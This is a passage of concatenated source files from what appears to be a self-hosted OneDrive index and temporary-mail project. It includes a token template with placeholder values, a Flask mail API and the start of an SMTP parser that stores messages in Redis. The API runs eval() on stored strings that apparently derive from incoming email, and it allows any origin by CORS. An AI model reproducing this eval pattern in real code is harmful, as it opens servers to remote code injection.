116 | 'main_domain' => '',
117 | 'proxy_domain' => '',
118 | 'onedrive_hide' => '',
119 | );
120 |
--------------------------------------------------------------------------------
/oneindex/token.php:
--------------------------------------------------------------------------------
1 | 'Bearer',
3 | 'scope' => 'Files.ReadWrite.All User.Read profile openid email',
4 | 'expires_in' => 3599,
5 | 'ext_expires_in' => 3599,
6 | 'access_token' => 'atk888',
7 | 'refresh_token' => 'rtk888',
8 | 'expires_on' => timeon,
9 | );
10 |
--------------------------------------------------------------------------------
/onemail/app.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 | from flask import Flask
3 | from flask import make_response
4 | import redis
5 | import os
6 | import argparse
7 | app=Flask(__name__)
8 |
9 | pool = redis.ConnectionPool(host='localhost', port=6379, decode_responses=True)
10 | emailredis = redis.Redis(db=1)
11 | parser = argparse.ArgumentParser(description="One Mail Web Api")
12 | parser.add_argument('-p','--port', default='80')
13 | args = parser.parse_args()
14 | web_port = args.port
15 |
16 | @app.route('/')
17 | def api_mail(em):
18 | try:
19 | emdict=eval(emailredis.get(em).decode('utf-8'))
20 | emdict['bodyhtml']=emdict['bodyhtml']
21 | emdict['body']=emdict['body']
22 | if len(emdict['bodyhtml']) > 0 :
23 | code=emdict['bodyhtml']
24 | else:
25 | code=emdict['body']
26 | return allow_ajax('\n'.join(code))
27 | except Exception as e:
28 | return allow_ajax('None')
29 |
30 | def allow_ajax(res):
31 | response=make_response(res)
32 | response.headers['Access-Control-Allow-Origin'] = '*'
33 | response.headers['Access-Control-Allow-Methods'] = 'POST'
34 | response.headers['Access-Control-Allow-Headers'] = 'x-requested-with,content-type'
35 | return response
36 |
37 | if __name__ == '__main__':
38 | os.system('python3 ./smtp.py &')
39 | app.run(host='0.0.0.0',port=web_port,use_debugger=False,threaded=True)
40 |
--------------------------------------------------------------------------------
/onemail/smtp.py:
--------------------------------------------------------------------------------
1 | from datetime import datetime
2 | import asyncore
3 | from smtpd import SMTPServer,SMTPChannel
4 | import email
5 | from email.header import decode_header
6 | import chardet
7 | import redis
8 | import re
9 | import os
10 |
11 | class EmlParse():
12 | def __init__(self,emlstring):
13 | self.data=emlstring
14 | self.msg = email.message_from_string(self.data)
15 | self.red = redis.Redis(db=1)
16 | self.parse()
17 |
18 | def parse(self):
19 | self.efrom = email.utils.parseaddr(self.msg.get("from"))[1]
20 | self.etos = self.msg.get("to").split(',')
21 | self.eto = [ email.utils.parseaddr(i)[1] for i in self.etos ]
22 | ## self.eto = email.utils.parseaddr(self.msg.get("to"))[1]
23 | print(str(self.eto))
24 | subjects=decode_header(self.msg.get('subject'))
25 | #print(subjects)
26 | dsubject=''
27 | for subject in subjects:
28 | cdt='utf-8' if subject[1] is None else subject[1]
29 | try:
30 | dsubject+=subject[0].decode(cdt)
31 | except AttributeError:
32 | dsubject+=subject[0]
33 | #print(dsubject)
34 | self.subject = dsubject
35 | self.body=[]
36 | self.bodyhtml=[]
37 | self.dict={}
38 |
39 | for par in self.msg.walk():
40 | try:
41 | parpld=par.get_payload(decode=True)
42 | #print(parpld)
43 | parcdt=chardet.detect(parpld) if parpld is not None else None
44 | if parpld is None or parcdt is None:
45 | # # print('-'*20)
46 | continue
47 | parcdt=parcdt['encoding'] if parcdt['confidence']>0.6 else 'utf-8'
48 | # print(parcdt)
49 | # print(parpld.decode(parcdt))
50 | try:
51 | parpld=parpld.decode(parcdt)
52 | except AttributeError:
53 | parpld=parpld
54 | if '\\u' in parpld:
55 | parpld=parpld.encode('utf-8').decode('unicode_escape')
56 | if '